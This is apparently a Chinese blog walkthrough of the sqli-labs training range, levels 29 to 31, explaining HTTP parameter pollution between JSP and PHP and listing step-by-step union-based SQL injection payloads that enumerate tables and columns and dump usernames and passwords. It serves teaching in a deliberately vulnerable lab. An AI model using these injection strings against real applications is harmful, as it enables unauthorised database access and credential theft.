sqli-labs靶场29-31关(http参数污染)

目录

前言

less29(单引号http参数污染)

less30(双引号http参数污染)

less31(双引号括号http参数污染)



前言

JSP中,使用request.getParameter("id")获取请求参数时,如果存在多个同名参数,它会返回第一个参数的值。这是因为request.getParameter()方法的设计是返回第一个匹配的参数值。

PHP中,使用$_GET["id"]获取请求参数时,如果存在多个同名参数,它会返回最后一个参数的值。这是因为PHP的$_GET超全局数组会覆盖前面的同名参数值。

比如:

?id=2&id=1返回的是id=1的请求:



less29(单引号http参数污染)

这一关如果直接union查询注入,就是很基础的sql注入。其实这里考查的是http参数污染注入。

?id=2&id=1'报错------判断为单引号闭合

?id=2&id=1'--+正常回显------确定为单引号闭合

?id=2&id=1' order by 3--+------判断有三处回显

?id=2&id=' union select 1,2,3--+------判断出回显位置

?id=2&id=' union select 1,user(),database()--+------爆数据库和数据库用户:

?id=2&id=' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+------爆表名

?id=2&id=' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'--+------爆字段名

?id=2&id=' union select 1,2,group_concat(id) from security.users--+------ 爆数据



less30(双引号http参数污染)

?id=a&id=1'正常回显

?id=a&id=1"无回显------判断为双引号闭合

?id=a&id=1"--+------正常回显,确定为双引号闭合

?id=a&id=1" order by 3--+------判断有三处回显位

?id=a&id=" union select 1,2,3--+------找到回显位置

?id=a&id=" union select 1,2,database()--+------爆数据库

?id=a&id=" union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+------爆表名

?id=a&id=" union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'--+------爆字段名

?id=a&id=" union select 1,2,group_concat(username,password) from security.users--+------爆数据



less31(双引号括号http参数污染)

?id=0&id=2正常回显,?id=0&id=2'正常回显

?id=0&id=2"报错------判断为双引号闭合

?id=0&id=2"--+又报错

?id=0&id=2")--+正常回显------判断为双引号括号闭合:

?id=0&id=2") order by 3--+------判断有三处回显

?id=0&id=") union select 1,2,3--+------找到回显位置

?id=0&id=") union select 1,2,database()--+------爆数据库

?id=0&id=") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+------爆表名

?id=0&id=") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'--+------爆字段名

?id=0&id=") union select 1,2,group_concat(id,password) from security.users--+------爆数据



相关推荐
创业之路&下一个五年32 分钟前
按照ip的转换为二进制的方式理解a\b\c类地址的边界
服务器·网络·tcp/ip
陌路2041 分钟前
Linux29初识网络:核心概念与分层逻辑
网络
huangdengji1 小时前
基于openresty反向代理、dns劫持、实现对http请求、响应内容抓包
网络协议·http·openresty
Acrelhuang2 小时前
覆盖全场景需求:Acrel-1000 变电站综合自动化系统的技术亮点与应用
大数据·网络·人工智能·笔记·物联网
阿猿收手吧!2 小时前
【Linux网络】shutdown()与close()的区别
linux·网络
記億揺晃着的那天2 小时前
解密 HTTPS:从握手到安全通信
网络协议·安全·https·ssl证书
神仙别闹4 小时前
基于C语言 HTTP 服务器客户端的实验
服务器·c语言·http
AuroraDPY4 小时前
计算机网络:基于TCP协议的自定义协议实现网络计算器功能
网络·tcp/ip·计算机网络
张人玉4 小时前
TCP 的三次握手和四次挥手
网络·tcp/ip·c#
qq_254674417 小时前
华为交换机上配置基于 IP 地址的 ACL
网络